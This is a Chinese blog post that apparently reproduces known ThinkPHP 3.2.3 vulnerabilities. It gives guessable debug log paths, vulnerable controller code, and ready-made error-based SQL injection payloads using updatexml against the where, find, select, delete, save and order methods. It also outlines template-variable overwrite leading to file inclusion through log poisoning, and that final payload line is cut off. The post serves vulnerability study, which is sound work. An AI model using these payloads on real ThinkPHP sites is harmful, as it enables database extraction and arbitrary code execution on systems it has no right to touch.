[复现]Thinkphp3.2.3 漏洞 | 您所在的位置:网站首页 › thinkphp漏洞总结 › [复现]Thinkphp3.2.3 漏洞 |
前言
纸上得来终觉浅,绝知此事要躬行。 缓存函数注意 S() F() 函数 可控时会造成危害。 日志泄露ThinkPHP在开启DEBUG的情况下会在Runtime目录下生成日志,而且日志结构容易被猜解,造成信息泄露。 THINKPHP3.1结构:Runtime/Logs/Home/年份_月份_日期.log THINKPHP3.2 结构:Application/Runtime/Logs/Home/年份_月份_日期.log user表 代码如下 $id = I("get.id"); $data = M("user")->where("id=$id")->find(); dump($data);变量虽然用I()函数获取,但是直接拼接变量,造成SQL注入。 id=1) and updatexml(1,concat(0x7e, user(), 0x7e),1)-- 变量必须是原生函数获取,如果使用I函数无法注入,where方法内传入的必须是数组而且可控。 name[0]=exp&name[1]=='' and updatexml(1,concat(0x7e,user(),0x7e),1)-- 演示下find()方法注入。 find() select()方法注入 id[table]=user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)-- id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--delete()方法注入 id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1 update() 注入 $user['name'] = I("name"); $data['pass'] = I("pass"); $res = M("user")->where($user)->save($data); dump($res);user数组可控,变量用I函数获取,且使用save()方法。 name[0]=bind&name[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)--&pass=1 order()方法参数可控 order[updatexml(1,concat(0x3a,user()),1)] 业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。 $value = I("get.value"); $this->assign($value); $this->display();利用日志包含,先将payload写入日志内。 /index.php?m=Home&c=Index&a=index&test=-->
https://xz.aliyun.com/t/2629#toc-1 https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ |
CopyRight 2018-2019 实验室设备网 版权所有 |